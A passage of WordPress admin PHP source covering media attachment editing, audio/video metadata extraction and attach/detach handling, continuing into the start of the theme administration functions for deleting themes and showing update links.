	<p class="upload-flash-bypass">
	<?php
		printf(
			/* translators: 1: URL to browser uploader, 2: Additional link attributes. */
			__( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" %2$s>browser uploader</a> instead.' ),
			$browser_uploader,
			'target="_blank"'
		);
	?>
	</p>
	<?php
}

/**
 * Displays the browser's built-in uploader message.
 *
 * @since 2.6.0
 */
function media_upload_html_bypass() {
	?>
	<p class="upload-html-bypass hide-if-no-js">
		<?php _e( 'You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.' ); ?>
	</p>
	<?php
}

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function media_upload_text_after() {}

/**
 * Displays the checkbox to scale images.
 *
 * @since 3.3.0
 */
function media_upload_max_image_resize() {
	$checked = get_user_setting( 'upload_resize' ) ? ' checked="true"' : '';
	$a       = '';
	$end     = '';

	if ( current_user_can( 'manage_options' ) ) {
		$a   = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
		$end = '</a>';
	}

	?>
	<p class="hide-if-no-js"><label>
	<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
	<?php
	/* translators: 1: Link start tag, 2: Link end tag, 3: Width, 4: Height. */
	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );

	?>
	</label></p>
	<?php
}

/**
 * Displays the out of storage quota message in Multisite.
 *
 * @since 3.5.0
 */
function multisite_over_quota_message() {
	echo '<p>' . sprintf(
		/* translators: %s: Allowed space allocation. */
		__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
		size_format( get_space_allowed() * MB_IN_BYTES )
	) . '</p>';
}

/**
 * Displays the image and editor in the post editor
 *
 * @since 3.5.0
 *
 * @param WP_Post $post A post object.
 */
function edit_form_image_editor( $post ) {
	$open = isset( $_GET['image-editor'] );

	if ( $open ) {
		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
	}

	$thumb_url     = false;
	$attachment_id = (int) $post->ID;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
	}

	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

	$att_url = wp_get_attachment_url( $post->ID );
	?>
	<div class="wp_attachment_holder wp-clearfix">
	<?php

	if ( wp_attachment_is_image( $post->ID ) ) :
		$image_edit_button = '';
		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
			$nonce             = wp_create_nonce( "image_editor-$post->ID" );
			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
		}

		$open_style     = '';
		$not_open_style = '';

		if ( $open ) {
			$open_style = ' style="display:none"';
		} else {
			$not_open_style = ' style="display:none"';
		}

		?>
		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>

		<div<?php echo $open_style; ?> class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
			<p><?php echo $image_edit_button; ?></p>
		</div>
		<div<?php echo $not_open_style; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
		<?php

		if ( $open ) {
			wp_image_editor( $attachment_id );
		}

		?>
		</div>
		<?php
	elseif ( $attachment_id && wp_attachment_is( 'audio', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		echo wp_audio_shortcode( array( 'src' => $att_url ) );

	elseif ( $attachment_id && wp_attachment_is( 'video', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		$meta = wp_get_attachment_metadata( $attachment_id );
		$w    = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
		$h    = ! empty( $meta['height'] ) ? $meta['height'] : 0;

		if ( $h && $w < $meta['width'] ) {
			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
		}

		$attr = array( 'src' => $att_url );

		if ( ! empty( $w ) && ! empty( $h ) ) {
			$attr['width']  = $w;
			$attr['height'] = $h;
		}

		$thumb_id = get_post_thumbnail_id( $attachment_id );

		if ( ! empty( $thumb_id ) ) {
			$attr['poster'] = wp_get_attachment_url( $thumb_id );
		}

		echo wp_video_shortcode( $attr );

	elseif ( isset( $thumb_url[0] ) ) :
		?>
		<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>">
				<img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" />
			</p>
		</div>
		<?php

	else :

		/**
		 * Fires when an attachment type can't be rendered in the edit form.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Post $post A post object.
		 */
		do_action( 'wp_edit_form_attachment_display', $post );

	endif;

	?>
	</div>
	<div class="wp_attachment_details edit-form-section">
	<?php if ( str_starts_with( $post->post_mime_type, 'image' ) ) : ?>
		<p class="attachment-alt-text">
			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
			<textarea class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" aria-describedby="alt-text-description"><?php echo esc_attr( $alt_text ); ?></textarea>
		</p>
		<p class="attachment-alt-text-description" id="alt-text-description">
		<?php

		printf(
			/* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
			__( '<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
			esc_url( 'https://www.w3.org/WAI/tutorials/images/decision-tree' ),
			'target="_blank" rel="noopener"',
			sprintf(
				'<span class="screen-reader-text"> %s</span>',
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			)
		);

		?>
		</p>
	<?php endif; ?>

		<p>
			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
		</p>

	<?php

	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	$editor_args        = array(
		'textarea_name' => 'content',
		'textarea_rows' => 5,
		'media_buttons' => false,
		'tinymce'       => false,
		'quicktags'     => $quicktags_settings,
	);

	?>

	<label for="attachment_content" class="attachment-content-description"><strong><?php _e( 'Description' ); ?></strong>
	<?php

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		echo ': ' . __( 'Displayed on attachment pages.' );
	}

	?>
	</label>
	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>

	</div>
	<?php

	$extras = get_compat_media_markup( $post->ID );
	echo $extras['item'];
	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
}

/**
 * Displays non-editable attachment metadata in the publish meta box.
 *
 * @since 3.5.0
 */
function attachment_submitbox_metadata() {
	$post          = get_post();
	$attachment_id = $post->ID;

	$file     = get_attached_file( $attachment_id );
	$filename = esc_html( wp_basename( $file ) );

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $attachment_id );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$attachment_id'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}
	/** This filter is documented in wp-admin/includes/media.php */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$att_url = wp_get_attachment_url( $attachment_id );

	$author = new WP_User( $post->post_author );

	$uploaded_by_name = __( '(no author)' );
	$uploaded_by_link = '';

	if ( $author->exists() ) {
		$uploaded_by_name = $author->display_name ? $author->display_name : $author->nickname;
		$uploaded_by_link = get_edit_user_link( $author->ID );
	}
	?>
	<div class="misc-pub-section misc-pub-uploadedby">
		<?php if ( $uploaded_by_link ) { ?>
			<?php _e( 'Uploaded by:' ); ?> <a href="<?php echo $uploaded_by_link; ?>"><strong><?php echo $uploaded_by_name; ?></strong></a>
		<?php } else { ?>
			<?php _e( 'Uploaded by:' ); ?> <strong><?php echo $uploaded_by_name; ?></strong>
		<?php } ?>
	</div>

	<?php
	if ( $post->post_parent ) {
		$post_parent = get_post( $post->post_parent );
		if ( $post_parent ) {
			$uploaded_to_title = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$uploaded_to_link  = get_edit_post_link( $post->post_parent, 'raw' );
			?>
			<div class="misc-pub-section misc-pub-uploadedto">
				<?php if ( $uploaded_to_link ) { ?>
					<?php _e( 'Uploaded to:' ); ?> <a href="<?php echo $uploaded_to_link; ?>"><strong><?php echo $uploaded_to_title; ?></strong></a>
				<?php } else { ?>
					<?php _e( 'Uploaded to:' ); ?> <strong><?php echo $uploaded_to_title; ?></strong>
				<?php } ?>
			</div>
			<?php
		}
	}
	?>

	<div class="misc-pub-section misc-pub-attachment">
		<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
		<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" id="attachment_url" value="<?php echo esc_attr( $att_url ); ?>" />
		<span class="copy-to-clipboard-container">
			<button type="button" class="button copy-attachment-url edit-media" data-clipboard-target="#attachment_url"><?php _e( 'Copy URL to clipboard' ); ?></button>
			<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
		</span>
	</div>
	<div class="misc-pub-section misc-pub-download">
		<a href="<?php echo esc_attr( $att_url ); ?>" download><?php _e( 'Download file' ); ?></a>
	</div>
	<div class="misc-pub-section misc-pub-filename">
		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
	</div>
	<div class="misc-pub-section misc-pub-filetype">
		<?php _e( 'File type:' ); ?>
		<strong>
		<?php

		if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
			echo esc_html( strtoupper( $matches[1] ) );
			list( $mime_type ) = explode( '/', $post->post_mime_type );
			if ( 'image' !== $mime_type && ! empty( $meta['mime_type'] ) ) {
				if ( "$mime_type/" . strtolower( $matches[1] ) !== $meta['mime_type'] ) {
					echo ' (' . $meta['mime_type'] . ')';
				}
			}
		} else {
			echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
		}

		?>
		</strong>
	</div>

	<?php

	$file_size = false;

	if ( isset( $meta['filesize'] ) ) {
		$file_size = $meta['filesize'];
	} elseif ( file_exists( $file ) ) {
		$file_size = wp_filesize( $file );
	}

	if ( ! empty( $file_size ) ) {
		?>
		<div class="misc-pub-section misc-pub-filesize">
			<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
		</div>
		<?php
	}

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		$fields = array(
			'length_formatted' => __( 'Length:' ),
			'bitrate'          => __( 'Bitrate:' ),
		);

		/**
		 * Filters the audio and video metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );

		foreach ( $fields as $key => $label ) {
			if ( empty( $meta[ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?>
				<strong>
				<?php

				switch ( $key ) {
					case 'bitrate':
						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
						if ( ! empty( $meta['bitrate_mode'] ) ) {
							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
						}
						break;
					default:
						echo esc_html( $meta[ $key ] );
						break;
				}

				?>
				</strong>
			</div>
			<?php
		}

		$fields = array(
			'dataformat' => __( 'Audio Format:' ),
			'codec'      => __( 'Audio Codec:' ),
		);

		/**
		 * Filters the audio attachment metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );

		foreach ( $audio_fields as $key => $label ) {
			if ( empty( $meta['audio'][ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][ $key ] ); ?></strong>
			</div>
			<?php
		}
	}

	if ( $media_dims ) {
		?>
		<div class="misc-pub-section misc-pub-dimensions">
			<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
		</div>
		<?php
	}

	if ( ! empty( $meta['original_image'] ) ) {
		?>
		<div class="misc-pub-section misc-pub-original-image word-wrap-break-word">
			<?php _e( 'Original image:' ); ?>
			<a href="<?php echo esc_url( wp_get_original_image_url( $attachment_id ) ); ?>">
				<strong><?php echo esc_html( wp_basename( wp_get_original_image_path( $attachment_id ) ) ); ?></strong>
			</a>
		</div>
		<?php
	}
}

/**
 * Parses ID3v2, ID3v1, and getID3 comments to extract usable data.
 *
 * @since 3.6.0
 *
 * @param array $metadata An existing array with data.
 * @param array $data Data supplied by ID3 tags.
 */
function wp_add_id3_tag_data( &$metadata, $data ) {
	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
		if ( ! empty( $data[ $version ]['comments'] ) ) {
			foreach ( $data[ $version ]['comments'] as $key => $list ) {
				if ( 'length' !== $key && ! empty( $list ) ) {
					$metadata[ $key ] = wp_kses_post( reset( $list ) );
					// Fix bug in byte stream analysis.
					if ( 'terms_of_use' === $key && str_starts_with( $metadata[ $key ], 'yright notice.' ) ) {
						$metadata[ $key ] = 'Cop' . $metadata[ $key ];
					}
				}
			}
			break;
		}
	}

	if ( ! empty( $data['id3v2']['APIC'] ) ) {
		$image = reset( $data['id3v2']['APIC'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data'   => $image['data'],
				'mime'   => $image['image_mime'],
				'width'  => $image['image_width'],
				'height' => $image['image_height'],
			);
		}
	} elseif ( ! empty( $data['comments']['picture'] ) ) {
		$image = reset( $data['comments']['picture'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime'],
			);
		}
	}
}

/**
 * Retrieves metadata from a video file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_video_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( isset( $data['video']['lossless'] ) ) {
		$metadata['lossless'] = $data['video']['lossless'];
	}

	if ( ! empty( $data['video']['bitrate'] ) ) {
		$metadata['bitrate'] = (int) $data['video']['bitrate'];
	}

	if ( ! empty( $data['video']['bitrate_mode'] ) ) {
		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( ! empty( $data['video']['resolution_x'] ) ) {
		$metadata['width'] = (int) $data['video']['resolution_x'];
	}

	if ( ! empty( $data['video']['resolution_y'] ) ) {
		$metadata['height'] = (int) $data['video']['resolution_y'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['video']['dataformat'] ) ) {
		$metadata['dataformat'] = $data['video']['dataformat'];
	}

	if ( ! empty( $data['video']['encoder'] ) ) {
		$metadata['encoder'] = $data['video']['encoder'];
	}

	if ( ! empty( $data['video']['codec'] ) ) {
		$metadata['codec'] = $data['video']['codec'];
	}

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata['audio'] = $data['audio'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from a video.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 4.9.0
	 *
	 * @param array       $metadata    Filtered video metadata.
	 * @param string      $file        Path to video file.
	 * @param string|null $file_format File format of video, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Retrieves metadata from an audio file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_audio_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata = $data['audio'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from an audio file.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 6.1.0
	 *
	 * @param array       $metadata    Filtered audio metadata.
	 * @param string      $file        Path to audio file.
	 * @param string|null $file_format File format of audio, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_audio_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Parses creation date from media metadata.
 *
 * The getID3 library doesn't have a standard method for getting creation dates,
 * so the location of this data can vary based on the MIME type.
 *
 * @since 4.9.0
 *
 * @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
 *
 * @param array $metadata The metadata returned by getID3::analyze().
 * @return int|false A UNIX timestamp for the media's creation date if available
 *                   or a boolean FALSE if a timestamp could not be determined.
 */
function wp_get_media_creation_timestamp( $metadata ) {
	$creation_date = false;

	if ( empty( $metadata['fileformat'] ) ) {
		return $creation_date;
	}

	switch ( $metadata['fileformat'] ) {
		case 'asf':
			if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
				$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
			}
			break;

		case 'matroska':
		case 'webm':
			if ( isset( $metadata['matroska']['comments']['creation_time'][0] ) ) {
				$creation_date = strtotime( $metadata['matroska']['comments']['creation_time'][0] );
			} elseif ( isset( $metadata['matroska']['info'][0]['DateUTC_unix'] ) ) {
				$creation_date = (int) $metadata['matroska']['info'][0]['DateUTC_unix'];
			}
			break;

		case 'quicktime':
		case 'mp4':
			if ( isset( $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'] ) ) {
				$creation_date = (int) $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'];
			}
			break;
	}

	return $creation_date;
}

/**
 * Encapsulates the logic for Attach/Detach actions.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $parent_id Attachment parent ID.
 * @param string $action    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
 *                          Default 'attach'.
 */
function wp_media_attach_action( $parent_id, $action = 'attach' ) {
	global $wpdb;

	if ( ! $parent_id ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $parent_id ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	$ids = array();

	foreach ( (array) $_REQUEST['media'] as $attachment_id ) {
		$attachment_id = (int) $attachment_id;

		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

		$ids[] = $attachment_id;
	}

	if ( ! empty( $ids ) ) {
		$ids_string = implode( ',', $ids );

		if ( 'attach' === $action ) {
			$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
		} else {
			$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
		}
	}

	if ( isset( $result ) ) {
		foreach ( $ids as $attachment_id ) {
			/**
			 * Fires when media is attached or detached from a post.
			 *
			 * @since 5.5.0
			 *
			 * @param string $action        Attach/detach action. Accepts 'attach' or 'detach'.
			 * @param int    $attachment_id The attachment ID.
			 * @param int    $parent_id     Attachment parent ID.
			 */
			do_action( 'wp_media_attach_action', $action, $attachment_id, $parent_id );

			clean_attachment_cache( $attachment_id );
		}

		$location = 'upload.php';
		$referer  = wp_get_referer();

		if ( $referer ) {
			if ( str_contains( $referer, 'upload.php' ) ) {
				$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
			}
		}

		$key      = 'attach' === $action ? 'attached' : 'detach';
		$location = add_query_arg( array( $key => $result ), $location );

		wp_redirect( $location );
		exit;
	}
}
<?php
/**
 * WordPress Theme Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Removes a theme.
 *
 * @since 2.8.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $stylesheet Stylesheet of the theme to delete.
 * @param string $redirect   Redirect to page when complete.
 * @return bool|null|WP_Error True on success, false if `$stylesheet` is empty, WP_Error on failure.
 *                            Null if filesystem credentials are required to proceed.
 */
function delete_theme( $stylesheet, $redirect = '' ) {
	global $wp_filesystem;

	if ( empty( $stylesheet ) ) {
		return false;
	}

	if ( empty( $redirect ) ) {
		$redirect = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
	}

	ob_start();
	$credentials = request_filesystem_credentials( $redirect );
	$data        = ob_get_clean();

	if ( false === $credentials ) {
		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $redirect, '', true );
		$data = ob_get_clean();

		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

	// Get the base theme folder.
	$themes_dir = $wp_filesystem->wp_themes_dir();
	if ( empty( $themes_dir ) ) {
		return new WP_Error( 'fs_no_themes_dir', __( 'Unable to locate WordPress theme directory.' ) );
	}

	/**
	 * Fires immediately before a theme deletion attempt.
	 *
	 * @since 5.8.0
	 *
	 * @param string $stylesheet Stylesheet of the theme to delete.
	 */
	do_action( 'delete_theme', $stylesheet );

	$theme = wp_get_theme( $stylesheet );

	$themes_dir = trailingslashit( $themes_dir );
	$theme_dir  = trailingslashit( $themes_dir . $stylesheet );
	$deleted    = $wp_filesystem->delete( $theme_dir, true );

	/**
	 * Fires immediately after a theme deletion attempt.
	 *
	 * @since 5.8.0
	 *
	 * @param string $stylesheet Stylesheet of the theme to delete.
	 * @param bool   $deleted    Whether the theme deletion was successful.
	 */
	do_action( 'deleted_theme', $stylesheet, $deleted );

	if ( ! $deleted ) {
		return new WP_Error(
			'could_not_remove_theme',
			/* translators: %s: Theme name. */
			sprintf( __( 'Could not fully remove the theme %s.' ), $stylesheet )
		);
	}

	$theme_translations = wp_get_installed_translations( 'themes' );

	// Remove language files, silently.
	if ( ! empty( $theme_translations[ $stylesheet ] ) ) {
		$translations = $theme_translations[ $stylesheet ];

		foreach ( $translations as $translation => $data ) {
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.po' );
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.mo' );
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.l10n.php' );

			$json_translation_files = glob( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '-*.json' );
			if ( $json_translation_files ) {
				array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
			}
		}
	}

	// Remove the theme from allowed themes on the network.
	if ( is_multisite() ) {
		WP_Theme::network_disable_theme( $stylesheet );
	}

	// Clear theme caches.
	$theme->cache_delete();

	// Force refresh of theme update information.
	delete_site_transient( 'update_themes' );

	return true;
}

/**
 * Gets the page templates available in this theme.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param WP_Post|null $post      Optional. The post being edited, provided for context.
 * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
 * @return string[] Array of template file names keyed by the template header name.
 */
function get_page_templates( $post = null, $post_type = 'page' ) {
	return array_flip( wp_get_theme()->get_page_templates( $post, $post_type ) );
}

/**
 * Tidies a filename for url display by the theme file editor.
 *
 * @since 2.9.0
 * @access private
 *
 * @param string $fullpath Full path to the theme file
 * @param string $containingfolder Path of the theme parent folder
 * @return string
 */
function _get_template_edit_filename( $fullpath, $containingfolder ) {
	return str_replace( dirname( $containingfolder, 2 ), '', $fullpath );
}

/**
 * Check if there is an update for a theme available.
 *
 * Will display link, if there is an update available.
 *
 * @since 2.7.0
 *
 * @see get_theme_update_available()
 *
 * @param WP_Theme $theme Theme data object.
 */
function theme_update_available( $theme ) {
	echo get_theme_update_available( $theme );
}

/**
 * Retrieves the update link if there is a theme update available.
 *
 * Will return a link if there is an update available.
 *
 * @since 3.8.0
 *
 * @param WP_Theme $theme WP_Theme object.
 * @return string|false HTML for the update link, or false if invalid info was passed.
 */
function get_theme_update_available( $theme ) {
	static $themes_update = null;

	if ( ! current_user_can( 'update_themes' ) ) {
		return false;
	}

	if ( ! isset( $themes_update ) ) {
		$themes_update = get_site_transient( 'update_themes' );
	}

	if ( ! ( $theme instanceof WP_Theme ) ) {
		return false;
	}

	$stylesheet = $theme->get_stylesheet();

	$html = '';

	if ( isset( $themes_update->response[ $stylesheet ] ) ) {
		$update      = $themes_update->response[ $stylesheet ];
		$theme_name  = $theme->display( 'Name' );
		$details_url = add_query_arg(
			array(
				'TB_iframe' => 'true',
				'width'     => 1024,
				'height'    => 800,
			),
			$update['url']
		); // Theme browser inside WP? Replace this. Also, theme preview JS will override this on the available list.
		$update_url  = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet );

		if ( ! is_multisite() ) {
			if ( ! current_user_can( 'update_themes' ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
